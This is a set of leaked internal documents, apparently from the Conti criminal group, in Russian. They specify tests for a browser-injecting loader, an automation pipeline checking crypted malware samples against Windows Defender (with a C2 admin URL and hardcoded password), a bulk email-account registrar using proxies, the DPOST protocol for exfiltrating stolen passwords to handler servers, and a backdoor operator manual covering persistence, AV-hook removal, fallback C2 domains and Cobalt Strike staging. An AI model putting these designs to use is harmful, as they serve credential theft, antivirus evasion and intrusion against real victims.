dinj_proxy_alive
dpost_proxy_alive
* эти три теста делать в последнюю очередь
loader_log_started
core_log_started
chrome_has_inject
ff_has_inject
ie_has_inject
edge_has_inject
chrome_dpost_ok
ff_dpost_ok
ie_dpost_ok
edge_dpost_ok
chrome_http2_off
ff_http2_off
ie_http2_off
ТОДО битность броузеров
битность ОС
РЕАЛИЗАЦИЯ
Результатом должен быть скрипт на PowerShell v2.0.
Скрипт должен возвращать в ОС код возврата, равный количеству проваленых тестов.
При запуске скрипт должен выполнять автообновление аналогично другим скриптам автотестов.
В начале каждого теста (кроме тестов *proxy* и других оговореных случаев) скрипт должен
запускать из текущего каталога файл loader.exe, а после выполнения теста убивать этот процесс
и удалять файлы логов.
Тест должен вести лог вида
2018-08-14 00:01:02 test_name started
* сообщение теста, если есть (Message)
2018-08-14 00:01:12 test_name: OK|FAILED|SKIPPED
При провале любого теста (кроме тестов прокладок) дальнейшие тесты следует пропустить,
скрипт завершить. Пропущеные тесты логически засчитываются как проваленые.
НАСТРОЙКИ
Настройки выносятся в переменные, вынесенные в самое начало скрипта:
- путь к конфигу sinj
- путь к конфигу dinj
- путь к конфигу dpost
- путь к логу loader.log
- путь к логу core-dll.log
- таймаут прогрева модуля (20 секунд по умолчанию)
- таймаут прогрева броузеров (35 секунд по умолчанию)
- таймаут устойчивости броузеров (1 минута по умолчанию)
- логин и url для автообновления
ПОДРОБНОЕ ОПИСАНИЕ ТЕСТОВЫХ СЛУЧАЕВ
* sinj_proxy_alive
Из конфига sinj выбирается первая по счету прокладка, открывается TCP-соединение
на заданный порт.
Тест успешен, если удалось открыть TCP-соединение.
* dinj_proxy_alive
Из конфига dinj выбирается первая по счету прокладка, открывается TCP-соединение
на заданный порт.
Тест успешен, если удалось открыть TCP-соединение.
* dpost_proxy_alive
В конфига dpost проверяются все прокладки путем открытия TCP-соединения на заданный порт.
Тест успешен, если удалось открыть TCP-соединение хотя бы на одну прокладку.
* loader_log_started
Запускается loader.exe.
Тест успешен, если после времени прогрева:
- появился файл loader.log по нужному пути
- в нем есть запись
Browsers payload unpacked successfully
* chrome_has_inject
Запускается loader.exe.
После времени прогрева запускается процесс Хрома.
После прогрева броузера проверяются следующие условия:
- появился файл core-dll.log по нужному пути
- в нем есть записи
We are Chrome
Chrome version: xxx
Chrome SSL functions found
(это является сообщением к тесту)
- в списке процессов имеется минимум 3 процесса chrome.exe после таймаута устойчивости броузеров
(при нарушении этого пункта тест провален, в сообщение теста добавляется строка
browser crashed!
)
- если в логе есть запись
Chrome SSL functions NOT FOUND
то тест провален, а данное сообщение и адреса функций (ниже в логе) копируется в сообщение теста
* ff_has_inject
Запускается loader.exe.
После времени прогрева запускается процесс Mozilla Firefox.
После прогрева броузера проверяются следующие условия:
- появился файл core-dll.log по нужному пути
- в нем есть записи
We are Firefox
Mozilla Firefox version: xxx
(это является сообщением к тесту)
- в списке процессов имеется минимум 1 процесс firefox.exe после таймаута устойчивости броузеров
(при нарушении этого пункта тест провален, в сообщение теста добавляется строка
browser crashed!
)
* ie_has_inject
Запускается loader.exe.
После времени прогрева запускается процесс Internet Explorer.
После прогрева броузера проверяются следующие условия:
- появился файл core-dll.log по нужному пути
- в нем есть записи
We are IE
IE version xxx
(это является сообщением к тесту. Если строк с версией больше одной, клеим к сообщению их все)
- в списке процессов имеется минимум 1 процесс iexplore.exe после таймаута устойчивости броузеров
(при нарушении этого пункта тест провален, в сообщение теста добавляется строка
browser crashed!
)
* edge_has_inject
chrome_dpost_ok
ff_dpost_ok
ie_dpost_ok
edge_dpost_ok
* chrome_http2_off
Запускается loader.exe.
После времени прогрева запускается процесс Chrome.
После прогрева броузера проверяются следующие условия:
- хотя бы у одного процесса chrome.exe присутствуют ключи командной строки
--disable-http2 --use-spdy=off --disable-quic
* ff_http2_off
Запускается loader.exe.
После времени прогрева производится поиск файла %APPDATA%\Mozilla\Firefox\Profiles\<profileName>\prefs.js
Тест считается успешным, если в файле есть подстрока
user_pref("network.http.spdy.enabled.http2", true)
* ie_http2_off
Запускается loader.exe.
После времени прогрева проверяется значение ключа реестра:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableHTTP2 == 0
ЗАДАЧИ ВТОРОГО ЭТАПА
* автоматическая подготовка ВМ к тестированию, включает в себя:
- установку или обновление Google Chrome
- установку или обновление Mozilla Firefox
* интеграцию с тестированием бота:
- добавить тесты, проверяющие наличие инжекта в броузере БЕЗ парсинга логов.
Для этого нужно найти способ просматривать код страницы запущенного броузера, из скрипта.
* базовый тест инжекта (общий для всех броузеров)
Запускается loader.exe.
После времени прогрева запускается броузер.
После времени прогрева открывается страница из списка.
По окончанию загрузки страницы открывается ее исходный код.
В исходном коде ищется подстрока
TODO
Тест успешен, если подстрокат найдена.
Тест требует работы с окнами через WinAPI.

239
Conti Documentation Leak/docs/misc/ТЗ автоматизация тестирования криптов.txt

@ -0,0 +1,239 @@
НАЗНАЧЕНИЕ ПРОЕКТА
Автоматизация тестирования файлов на детекты антивирусов (АВ в дальнейшем), и правильность работы клиента.
Подразумевается работа в следующем окружении:
* ОС: Windows 10 с последними обновлениями
* АВ: Windows Defender (встроенный АВ 10-ки). Интересует только этот АВ!
* есть криптопанель - это сайт, на котором лежат образцы для тестирования. С ним идет связь через обычные веб-запросы.
* есть админка - это сайт, с которым связывается клиент при запуске, и пишет туда логи своей работы.
СЦЕНАРИЙ РУЧНОГО ТЕСТИРОВАНИЯ
1. Подготовка виртуальной машины
2. Загрузка архива с файлом из криптопанели на рабочий стол виртуальной машины
3. Проверка сработки АВ на архив
4. Распаковка архива
5. Проверка сработки АВ на распакованный файл(ы)
6. Запуск распакованного файла
7. Проверка сработки АВ на запущенный файл
8. Ожидание в течение заданного времени
9. Проверка создания любого из каталогов (в дальнейшем обозначаем его как %dir%):
%appdata%\vcmsd\
default user\%appdata%\vcmcsd
(см. параметр №8 в разделе ВАРИАНТЫ РЕАЛИЗАЦИИ - проверка идет по этому списку)
10. Получение client ID из файла %dir%\FAQ
11. Подключение к админке
12. Ожидание в течение заданного времени
13. Поиск отстука программы по полученному client ID
Отстук представляет из себя несколько событий:
13.1. появление СВЕЖЕЙ записи с таким client ID в админке
(факт непустого ответа от API админки, и наличие в нем записи вида
2018-08-30 10:45:58.323278 1 3 online
)
13.2. появление записи о запуске модуля system info (наличие в ответе от API админки записи вида
2018-08-30 10:47:59.642231 systeminfo start 0 63
)
13.3. появление записи о запуске модуля injectDll (наличие в ответе от API админки записи вида
injectDll 2018-08-30 11:20:26.490341 start Success
)
14. Проверка сработки АВ после отстука
При ЛЮБОМ ДЕТЕКТЕ дальнейшая проверка должна остановиться. Все последующие тесты должны получить статус SKIPPED.
SKIPPED фактически означает провал теста, но мы заводим отдельный статус, для различения с простым провалом.
В криптопанель должно быть отправлено уведомление о провале (имя образца, список тестов с результатами).
АВТОТЕСТЫ
Автотест представляет из себя подпрограмму, проверяющую одно простое условие и возвращающую TRUE/FALSE о выполнении этого условия.
Список автотестов для данного сценария:
1. archive_static_detect - был ли детект АВ на шаге 3
2. unarchived_static_detect - был ли детект АВ на шаге 5
3. proactive_detect - был ли детект АВ на шаге 7
4. client_installed - проинсталлировался ли клиент (шаг 10)
5. client_knocked - отстучал ли клиент в админку (шаг 13.1)
6. client_sysinfo_loaded - отстучал ли клиент в админку шаг 13.2
7. client_inject_loaded - отстучал ли клиент в админку шаг 13.3
8. client_modules_detect - был ли детект АВ на шаге 14
ВАРИАНТЫ РЕАЛИЗАЦИИ
Предлагается реализовать автотесты на Powershell по возможности v2.0. Выбор версии обусловлен тем, что v2.0 есть на всех ОС начиная с Windows 7.
Обращение к криптопанели предполагается через API (пока что не готово). Обязательным параметром при работе через API
будет сетевое имя компьютера.
API АДМИНКИ
https://185.64.105.33/du8ASnIODJjksdb89fsibndg7s6giosulDSGsdgsyb78s87dgdsgszklj8zgh8dsgisgsdg/clientID_suffix
Здесь clientID_suffix - это часть строки из файла FAQ после точки.
Например, если в файле C:/users/user/AppData/Roaming/vsmcd/FAQ содержится строка DESKTOP-4KGAGIP_W10014393.701EBF802F2CB023A6C24D34D9F31071
то clientID_suffix - это строка 701EBF802F2CB023A6C24D34D9F31071
Запрос следует отправлять через HTTP POST
В запросе могут быть следующие поля:
- pass: пароль. Значение всегда фиксировано - строка f779f60d4868063d462c3f99656a8a6d
- timeout: глубина времени поиска отстука, в минутах. Параметр необязательный, значение на сервере по умолчанию - 15 минут.
Рекомендуется задавать время, равное "сейчас" - "начало времени проверки отстука".
Например
- проверка отстука началась в 13:02
- ...
- в 13:07 мы делаем проверку отстука, вычисляем значение timeout, которое необходимо задать в запросе: 13:07-13:02 == 5.
Сервер отвечает, что данных нет (отстука не было)
- в 13:08 мы вновь делаем проверку отстука, вычисляем значение timeout, которое необходимо задать в запросе: 13:08-13:02 == 6.
Сервер отвечает, что данных нет (отстука не было)
- в 13:09 мы вновь делаем проверку отстука, вычисляем значение timeout, которое необходимо задать в запросе: 13:09-13:02 == 7.
Сервер отдает данные, свидетельствующие о том, что отстук был. Мы завершаем тест со статусом "успех".
Наличие параметра timeout обусловлено тем, что автотесты на одной и той же машине могут проходить часто (каждые 15-20 минут).
При этом у машины может быть один и тот же clientID. Если не отфильтровывать данные по времени, то сервер может отдать
данные об отстуке от предыдущего теста (к примеру, мы тестили 20 минут назад на этой же машине, и сервер отдал нам данные
об отстуке с предыдущего теста -- это неправильно; ожидаемый нами результат - для текущего теста отстука не было).
API КРИПТОПАНЕЛИ
Криптопанель предоставляет API со следующими операциями:
1. дай мне следующий по приоритету файл в очереди для проверки на машине с именем %MACHINE%
HTTP POST /some-random-and-long-api-prefix/getfile
параметры:
pass: захардкоженый пароль - общий для всего API. Строка.
machine: доменное имя компьютера. Строка. Это имя берется непосредственно из свойств компьютера в ОС.
Ответ: json следующего вида:
{
"file_id": 32, // идентификатор файла в БД
"file": "TVqQAAMAAAAEAAAA//8AA" // тело файла в кодировке base64
}
Начиная с момента отдачи файла, данная машина помечается в БД как проверяюшая данный файл.
Повторные запросы с этой же машины на выдачу расцениваются как валидные --
это означает сетевой сбой при приеме файла на предыдущем запросе.
2. возьми результаты проверки файла на машине %MACHINE%
HTTP POST /some-random-and-long-api-prefix/setresult
параметры:
pass: захардкоженый пароль - общий для всего API. Строка.
machine: доменное имя компьютера. Строка.
status: 0|1. Число. Возможно только два значения - обозначающие "ok" и "failed" соответственно. Означает общий результат тестирования.
log: лог тестирования. Длинная строка (будем считать, до 64к, но в теории может быть и больше) в кодировке base64.
file_id: число. Идентификатор файла, полученный в предыдущем запросе.
Система смотрит, какой файл проверялся на данной машине, и проставляет ему соответствующий статус.
ЕСЛИ файл на данной машине НЕ проверялся, либо время начала проверки слишком давнее (больше 24 часов), данный запрос следует игнорировать
как невалидный.
НАСТРОЙКА СКРИПТА
Скрипт должен быть легко конфигурируем человеком, не знающим PowerShell. Для этого в заголовок скрипта
должны быть вынесены следующие параметры (список не исключительный - туда можно выносить и другие параметры по необходимости):
1. URL криптопанели для скачки архива
2. Логин криптопанели
3. Пароль криптопанели
4. URL админки
5. Логин админки
6. Пароль админки
7. Периодичность проверки результата теста, в секундах (sleep_every)
8. Список имен папок для проверки успеха инсталляции
ЛИБО URL в криптопанели, откуда взять их список
9. Таймаут ожидания от завершения загрузки архива до результата статического детекта 1 (в секундах) (1 минута)
10. Таймаут ожидания от распаковки архива до результата статического детекта 2 (в секундах) (1 минута)
11. Таймаут ожидания от запуска клиента до результата проактивного детекта (в секундах) (5 минут)
12. Таймаут ожидания от запуска клиента до проверки создания рабочих каталогов клиента (в секундах) (5 минуты)
13. Таймаут ожидания от запуска клиента до проверки отстука клиента в админку (в секундах) (15 минут)
(вероятно тут будет несколько таймаутов, по числу под-шагов 13.1, 13.2 итд - на усмотрение программиста)
модуль sysInfo - 10 минут
модуль injectDll - 5 минут
14. Таймаут ожидания от отстука клиента в админку, до результата проактивного детекта (шаги 13-14) (в секундах) (2 минуты)
По поводу таймаутов -- суть в том, что каждое событие мы ждем определенное кол-во времени. Если за это время мы события (минут)
не дождались, то мы принимаем решение о результате теста.
Вот на каждое событие у нас должен быть таймаут, даже если он не упомянут в ТЗ.
Алгоритм всех тестов следующий (C-style псевдокод):
bool result = false;
time_t started = time(NULL);
while(time(NULL) - started < test_timeout) {
if(test condition) {
result = true;
break;
}
sleep(sleep_every);
}
time_t end = time(NULL);
То, есть, мы вертимся в цикле, просыпаясь каждые sleep_every секунд, пока не настанет ожидаемое условие (например, детект, или отстук).
Если за test_timeout условие не настало, мы завершаем проверку и публикуем результат теста.
Для детектов, логика инверсная
true это НЕУДАЧА теста (детект был :-(
false это УСПЕХ теста (детекта не было)
Детекты Windows Defender предлагается проверять по логам в Event Viewer\Applications and Services Logs\Microsoft\Windows\Windows Defender
Это можно сделать коммандлетом (см. https://letitknow.wordpress.com/2012/09/02/powershell-and-the-applications-and-services-logs/):
Get-WinEvent "Microsoft-Windows-Windows Defender/Operational"
РЕЗУЛЬТАТЫ ТЕСТОВ
1. Вывод на экран результатов тестов с метками времени начала и завершения теста:
2018-08-14 00:01:02 archive_static_detect started
2018-08-14 00:01:12 archive_static_detect: OK
2018-08-14 00:01:22 unarchived_static_detect started
2018-08-14 00:01:32 unarchived_static_detect: OK
2018-08-14 00:01:42 proactive_detect started
2018-08-14 00:01:52 proactive_detect: FAILED!
2018-08-14 00:02:02 client_installed started
2018-08-14 00:01:12 client_installed: SKIPPED
2018-08-14 00:01:22 client_knocked started
2018-08-14 00:01:32 client_knocked: SKIPPED
2018-08-14 00:01:32 client_sysinfo_loaded started
2018-08-14 00:01:32 client_sysinfo_loaded: SKIPPED
2018-08-14 00:01:32 client_inject_loaded started
2018-08-14 00:01:32 client_inject_loaded: SKIPPED
2018-08-14 00:01:32 client_modules_detect started
2018-08-14 00:01:32 client_modules_detect: SKIPPED
2. Скрипт должен возвращать в ОС значение, равное количеству проваленных тестов.
3. Скрипт должен выдавать в криптопанель результат тестов (полный лог и общий статус успех/неудача)
АВТООБНОВЛЕНИЕ СКРИПТА
Полная автоматизация тестов возможна только с автоматизацией подготовки виртуальной машины к тесту.
Подготовка к тесту включает в себя:
- обновление Windows всеми последними изменениями (это делается раз в сутки с самого начала работы, и это нельзя автоматизировать)
- автообновление скрипта автотеста. Скрипт постоянно будет обновляться, т.к. будут меняться рабочие каталоги тестируемого бинарника.
Автообновление скрипта автотеста предлагается делать через API GitLab.
Для этого требуется 2 HTTP запроса:
- для авторизации в GitLab
- для закачки скрипта.
Подробный скрипт логина на Unix shell приведен здесь:
https://stackoverflow.com/questions/47948887/login-to-gitlab-using-curl
Соответственно, должны быть добавлены следующие конфигурационные параметры скрипта:
- URL web-интерфейса GitLab
- учетные данные GitLab
- URI к исходнику скрипта на GitLab.

28
Conti Documentation Leak/docs/misc/ТЗ проверка инжектора.txt

@ -0,0 +1,28 @@
[27.06.2018 14:35] <buza>: теперь задание
[27.06.2018 14:35] <buza>: у нас поддерживается также ие и edge
[27.06.2018 14:35] <buza>: для edge лог сам не создается
[27.06.2018 14:36] <buza>: его надо создать и правильно проставить ему права
[27.06.2018 14:36] <buza>: но это оставим на потом
[27.06.2018 14:36] <buza>: Написать скрипт на cmd, проверяющий следующие случаи:
1) loader_is_not_broken (ведется loader.log)
2) loader_is_started (в loader.log есть нужные паттерны для нормального старта)
3) ff_injects (заводится core-dll.log, в нем есть нормальный паттерн запуска)
4) chrome_injects (заводится core-dll.log, в нем есть нормальный паттерн запуска)
5) ie_injects (заводится core-dll.log, в нем есть нормальный паттерн запуска)
6) edge_injects (заводится core-dll.log, в нем есть нормальный паттерн запуска)
7) ff_grabs (есть паттерн граба паролей и истории)
8) ie_grabs (есть паттерн граба паролей и истории)
9) chrome_grabs (есть паттерн граба паролей и истории)
10) chrome_page_injects (открывается в броузере заданная страница, в логе появляется паттерн на её инжект) ...
то же для других броузеров В случае, если тесты не проходят, это повод тестировщику вернуть сборку разработчику.
[27.06.2018 14:46] <buza>: в имени лога должны быть текущая дата-время, имя машины
[27.06.2018 14:46] <buza>: формат лога
[27.06.2018 14:46] <buza>: дата-время имя теста старт
[27.06.2018 14:46] <buza>: дата время имя теста финиш: Success / FAILED
[27.06.2018 14:46] <buza>: всего тестов пройдено
[27.06.2018 14:47] <buza>: всего тестов успешно
[27.06.2018 14:47] <buza>: всего тестов провалено
[27.06.2018 14:47] <buza>: язык лучше наверное инглиш, потому что не везде есть кириллица
[27.06.2018 14:47] <buza>: ах да
[27.06.2018 14:48] <buza>: еще перед серией тестов по каждому броузеру в логе должна идти версия броузера

34
Conti Documentation Leak/docs/misc/ТЗ регалка почтовых учеток.txt

@ -0,0 +1,34 @@
Нужно написать скрипт-регистратор почтовых учетных записей, со следующими требованиями:
- сайт: gmx.com
- работа через случайно выбранный прокси socks5 (список прокси задается в виде текстового файла)
Прокси задаются в виде
11.22.33.44:port
- случайным образом заполняются обязательные поля (имя, фамилия, штат итд). Значения должны быть правдоподобны.
Можно пользоваться словарями имен итд.
У скрипта должен быть интерфейс командной строки, через который можно задать:
- имя файла со списком прокси
- имя выходного файла со списком созданных учеток email:password
- файлы дополнительных словарей для имен итд
- число учеток для регистрации
Скрипт должен комментировать свои действия на stdout/stderr, в примерно следующем виде:
2019-12-04 12:00:00 Начал работу
2019-12-04 12:00:00 10 записей к регистрации
2019-12-04 12:00:00 Словарь имен: dict1.txt
2019-12-04 12:00:00 Список прокси: proxies.txt
2019-12-04 12:00:00 Регистрация записи №1
2019-12-04 12:00:00 Выбраны данные личности: John Doe, Tallahussy, Texas, [email protected], password 12345
2019-12-04 12:00:00 Соединяюсь с https://gmx.com:80...ОК
2019-12-04 12:00:00 HTTP POST /reg.php
2019-12-04 12:00:00 Ответ 401 Forbidden - ошибка!
2019-12-04 12:00:00 HTTP POST /reg.php
2019-12-04 12:00:00 Ответ 200 OK - успешно
2019-12-04 12:00:00 Учетная запись №1 создана: [email protected]
2019-12-04 12:00:00 Регистрация записи №2
...
2019-12-04 12:00:00 Учетные записи сохранены в accs.txt
2019-12-04 12:00:00 Пока!

132
Conti Documentation Leak/docs/misc/ТЗ статус проверки в криптопанели.txt

@ -0,0 +1,132 @@
Доработка для хранения статуса проверки образцов в криптопанели
ЦЕЛЬ ДОРАБОТКИ
Это часть из комплекса мер по автоматизации тестирования закриптованых образцов.
Общий смысл доработки следующий:
- в криптопанели формируется очередь образцов на тестирование (очень похоже как на virustotal.com или dyncheck.com)
- у нас есть пул виртуальных машин, на которых есть скрипты тестирования
- скрипты дергают криптопанель, говоря например "привет, я машина IEWIN10, дай мне файлы, чтобы протестировать на мне"
- криптопанель в ответ отдает файл из очереди, делая у себя в БД нужные пометки
- скрипты что-то там тестируют, потом отдают ответ, например "привет, я машина IEWIN10, я протестила файл такой-то, отвечаю, файл - гавно! вот лог."
РЕАЛИЗАЦИЯ ДОРАБОТКИ
Сейчас в криптопанели хранятся образцы, загружаемые туда пользователями.
Нужно добавить для ЗАКРИПТОВАНЫХ образцов статусы:
- Не нужно проверять
- Нужно проверять
- Проверяется
- Проверено
Исходя из этих статусов:
- скрипты автоматизированного тестирования могут выбирать образцы для проверки на наших виртуалках
- а также отдавать результат проверки.
Все это в комплексе позволить минимизировать ручной труд при проверке криптов.
ДЕТАЛИ
Статусом "не нужно проверять" заведомо нерабочие либо те, которые по какой-то причине не нужно проверять.
К статусу "не нужно проверять" должна быть причина - enum { "заведомо нерабочий", "своя причина" (и тогда коммент к ней) }
К статусу "Нужно проверять" также нужно добавить следующие атрибуты:
- простое число - приоритет проверки. Для пользователя желательно сделать управление этим приоритетом через drag-drop, но это как удобнее.
*ПРАВКА 18.09.2018* Приоритет как отдельное свойство не нужен. Лучше добавлять файл на проверку в начало или конец очереди.
- признак отката виртуалки (булево значение). Значение по умолчанию = true.
Если данный флаг = true, это означает разрешение откатить виртуалку после теста.
Если флаг = false, то после теста ВМ не откатывать, запретить добавлять новые задачи на эту ВМ. В интерфейсе пользователя
необходимы индикаторы/кнопки статусов ВМ, с помощью которых оператор может вновь включить в работу ВМ.
Соответственно, у ВМ должен быть статус "активна"/"неактивна", каковой статус разрешает назначать на неё задачи.
К статусу "Проверено" идут детали:
* для каждой из виртуальных машин:
- полный лог проверки (текстовое поле длиной до 64к)
- статус проверки: success/failure
- дата-время начала и конца проверки
В системе должен быть раздел управления виртуальными машинами:
- создать-редактировать-удалить машину.
В свойствах машины:
- имя
- разрядность ОС
- версия ОС
Проверка происходит НА НЕСКОЛЬКИХ МАШИНАХ. Общий успех проверки определяется успехом проверки НА ВСЕХ МАШИНАХ.
Соответственно, должен быть раздел управления списком машин. У машины есть свойства - имя, и IP-адрес.
Когда скрипт проверки коннектится к панели через API, он представляется системе - называет имя машины, на которой он запущен.
ПОЛЬЗОВАТЕЛЬСКИЙ СЦЕНАРИЙ
Оператор может:
- выбирать файлы для проверки, помечая их статусом "нужно проверить", а также выбирая список машин для проверки
- выбирать приоритет проверки для файлов
- помечать файлы, не требующие проверки
- смотреть результат проверки (просматривать лог проверки, на каждой из машин)
- сбрасывать результат проверки (например, если проверка зависла, или если нужно перепроверить файл)
*ПРАВКА 18.09.2018*
При назначении файла на проверку на конкретную виртуалку, необходимо выдать команду на запуск этой виртуалки.
Результат команды следует игнорировать - если виртуалка уже работает, то менеджер ВМ проигнорирует эту команду.
API
Нужно предусмотреть API для автоматизации работы скрипта, со следующими операциями:
1. дай мне следующий по приоритету файл в очереди для проверки на машине с именем %MACHINE%
HTTP POST /some-random-and-long-api-prefix/getfile
параметры:
pass: захардкоженый пароль - общий для всего API. Строка.
machine: имя компьютера. Строка.
Ответ: json следующего вида:
{
"file_id": 32, // идентификатор файла в БД
"file": "TVqQAAMAAAAEAAAA//8AA" // тело файла в кодировке base64
}
Начиная с момента отдачи файла, данная машина помечается в БД как проверяюшая данный файл.
Повторные запросы с этой же машины на выдачу файла следует расценивать как валидные --
это означает сетевой сбой при приеме файла на предыдущем запросе.
2. возьми результаты проверки файла на машине %MACHINE%
HTTP POST /some-random-and-long-api-prefix/setresult
параметры:
pass: захардкоженый пароль - общий для всего API. Строка.
machine: имя компьютера. Строка.
status: 0|1. Число. Возможно только два значения - обозначающие "ok" и "failed" соответственно. Означает общий результат тестирования.
log: лог тестирования. Длинная строка (будем считать, до 64к, но в теории может быть и больше) в кодировке base64.
file_id: число. Идентификатор файла, полученный в предыдущем запросе.
Система смотрит, какой файл проверялся на данной машине, и проставляет ему соответствующий статус.
ЕСЛИ файл на данной машине НЕ проверялся, либо время начала проверки слишком давнее (больше 24 часов), данный запрос следует игнорировать
как невалидный.
Если проверка завершилась успешно, ИЛИ если для данной проверки разрешен откат виртуалки,
следует откатить виртуальную машину через API phpVirtualBox (*В РАЗРАБОТКЕ*)
В противном случае, откат виртуалки не производится, и все ожидающие задачи на проверку на этой машине
так и продолжают ожидать, ПОКА оператор вручную не нажмет кнопку "откатить данную виртуалку".
Для этого, в интерфейсе пользователя должно появиться уведомление оператору, с кнопкой "Откатить".
ДОСТУП
Для минимизации риска утечки данных, нужно чтобы доступ к API не пересекался с обычными учетками системы.
Для этого предлагается:
- чтобы функции API предварялись длинным случайным префиксом в url (security by obscurity)
- функции API проверяли бы захардкоженный пароль, присылаемый в POST (чтобы пароль не светился в логах вместе с GET)
- функции API следует особо тщательно проверить на инъекции.

69
Conti Documentation Leak/docs/misc/тз граб паролей DPOST.txt

@ -0,0 +1,69 @@
2 Данные на сервер отправляются через HTTP POST-запросы. Между сервером и клиентом может стоять сколько угодно reverse-proxy, load-balancer и DNAT. Таким образом, нет никакого способа узнать ip-адрес клиента.
2.1 Каждый запрос содержит в URI три компонента разделённых символом "/" - тег группы, id клиента . Каждый POST имеет URI следующего формата:
/<group-tag>/<clientid>/81/
, где group-tag - тег группы, clientid - id клиента, 81 - код, обозначающий тип данных.
2.1.1 Тег группы - это произвольная строка состоящая из символов (a-z) и цифр (0-9). Параметр не чувствителен к регистру.
Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentGroup)
2.1.2 Id клиента - это строка.
Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentID
2.2 Каждый ответ сервера может быть со следующими HTTP-кодами: 200 и 403. Ответ 200 всегда имеет тело с содержание "/1/" (content-type: text/plain), а ответ 403 используется если прислан не POST-запрос, тело POST имеет неизвестный формат или поля, URI неизвестного формата, или clientid неправильного формата.
3 POST-запрос имеет тело в формате multipart/form-data. И имеет следущие поля:
source - описание источника данных. К примеру, если это даннные из Skype, должно быть что-то вроде "skype passwords", от ОС - "OS passwords". И т.д и т.п.
data - длинный текст в кодировке UTF8.
Каждая строка предназначена для отдельного пароля, и состоит из трех полей, разделенных вертикальной чертой и завершающихся символом конца строки \n:
resource|username|password\n
Если собираются пароли с броузеров, то resource - это url.
К примеру, для броузера посылка может быть наподобие
http://gmx.com|jack|secretpassword\n
http://yahoo.com|jack1|secretpassword1\n
http://somesite.com|jack2|secretpassword2\n
Т.к. пароли могут собираться из разных источников, то в поле area должен быть идентификатор защищаемого паролем ресурса.
Для скайпа это будет
skype|jack|jackass\n
Для ОС - для профиля каждого пользователя отдельная строка
os|jack|hijack\n
os|john|hijohn\n
для почты будет имя pop3/imap сервера - если уместно и его можно сграбить; если нельзя - просто дублируется почтовый адрес
для ftp это будет url, типа ftp://ftp.com
итд
3. Конфиг со списком адресов для отправки данных выдается модулю вызовом Control() с аргументами:
Ctl = "dpost"
CtlArg = "содержимое конфига"
3.1. Конфиг представляет из себя простой xml в следующем формате:
<dpost>
<handler>http://11.22.33.44:8082</handler>
<handler>127.0.0.1:8083</handler>
</dpost>
Префикс http/https к обработчику опционален. Если он указан, следует работать по указанному протоколу.
Если он не указан:
- если значение порта чётное, то работа идёт без шифрования (HTTP), если порт нечётный, то работа идёт поверх SSL/TLS (HTTPS).
3.2. Отправка данных организуется следующим образом:
- выбирается первый из списка url
- к нему клеится uri запроса. Итоговый url будет (для заданного в примере конфига), например такой
http://11.22.33.44:8082/group_id/client_id/81
- выполняется http-запрос, получается ответ сервера
- если при выполнении запроса была ошибка (нет ответа сервера, или код ответа не 200), выбирается следующий url из конфига
- при успешной отправке, происходит выход из цикла отправки и завершение процедуры
- при неуспешной отправке по всем приведенным в конфиге адресам, есть 2 варианта:
- пауза на минуту, далее повтор попыток
- завершение цикла и выход из процедуры
Это решение остается на усмотрение разработчика.

396
Conti Documentation Leak/docs/modules/backdoor руководство оператора.txt

@ -0,0 +1,396 @@
BACKDOOR
РУКОВОДСТВО ОПЕРАТОРА
Backdoor - это бот с акцентом на скрытность и легковесность:
- легковесность: ничего лишнего, только самый необходимый минимум функциональности
- двухступенчатая загрузка: загрузчик (1-я ступень), функционал в основном боте (2-я ступень)
- возможность автоматического и ручного закрепления в системе
- на жестком диске сохраняется только загрузчик, на него скидываются все детекты АВ
- резервирование связи с C&C-серверами:
- жестко вшитый список прокладок
- резервные домены Emercoin
- генерация доменов Emercoin по дате
- валидация сервера по криптоключу (защита от перехвата управления путем захвата домена)
- возможность автоматической подгрузки нужной разрядности (x86->x64)
- поштучное обновление только отдельных ботов
- скрытность: минимизируем запись на диск при любой операции
- обход антивирусов путем снятия хуков
- регулярная чистка
Функционал бота минимален, но достаточен для запуска сторонних инструментов.
Можно:
- получить инфу о системе
- запустить .exe
- запустить .dll через rundll32
- запустить .bat-файлы и выполнять отдельные команды через cmd.exe
- запустить .ps1-файлы и выполнять отдельные команды PowerShell
- выполнить shell-код
- скачать произвольный файл (ограничение на размер 10М)
- убить процесс
- удалиться с диска
В бот НЕ ВСТРОЕНЫ никакие стилеры паролей, инжекторы, граберы, сканеры, горизонтальное распространение, сплойты и прочие инструменты.
Используете либо сторонних производителей, либо при необходимости предоставляем свои, исполненные как ОТДЕЛЬНЫЙ СОФТ.
Ибо акцент на легковесность.
Управление осуществляется с помощью панели оператора.
РЕКОМЕНДУЕМАЯ ТАКТИКА
Бэкдор предназначен для использования как command shell - командная оболочка.
Это не только запускалка для вашей сессии Cobalt Strike (хотя в основном бэкдором пользуются именно так).
Вы можете делать главное из того, что позволяют фреймворки пост-эксплуатации - выполнять ЛЮБЫЕ команды.
Как уже имеющиеся на целевой машине (тактика living off the land - "жизнь с подножного корма"),
так и ваши приватные инструменты, загружаемые через админку на цель.
В случаях, когда сессию фреймворка поднять не удается, все равно остается возможность отработать цель, используя свое мастерство.
Любые сторонние инструменты должны быть оформлены как .exe или .dll с совместимой точкой входа.
Авторы готовы всячески содействовать тестированию инструментов на совместимость с бэкдором, но инициатива в этом должна происходить от пен-тестера.
По умолчанию, после первого запуска бот выполняет минимум активности - не пытается получить информацию о системе, не пытается закрепиться (если собран как нерезидентный).
Все эти действия опасны. Для уменьшения вероятности детекта между стартом бота и этими действиями должно пройти достаточно времени.
Тем не менее можно заказать резидентный загрузчик (с автоматическим закреплением),
либо можно воспользоваться функцией автозапуска команд для автоматизации этих действий (см.соотв.раздел).
К примеру, можно прописать в автозапуск паузу после старта в 1 час, выполнение команды SysInfo, паузу, выполнение команды Anchor (закрепление).
Уникальность пауз/последовательности при каждом прогрузе усложнит поведенческий анализ для АВ/Yara.
Для каждого нового прогруза следует создавать новый комплект бинарников, меняя при этом профиль трафика и ключи шифрования (см.соотв.раздел),
тем самым обеспечивая уникальность формата сетевых запросов и ответов к командному серверу.
Нужно уделять внимание клоакингу (отсеву исследовательских запросов) - см.соотв.раздел.
Попавшие в раздел Honeypots боты получают ответы 500 на любые запросы.
Бот старается минимизировать дисковую активность насколько можно, реализуя stateless-поведение.
То есть, не храня где-либо на диске никакие конфиги (адреса C&C и группа прошиты в него самого),
не храня свой идентификатор (он генерируется всегда одинаковым для одного и того же компьютера).
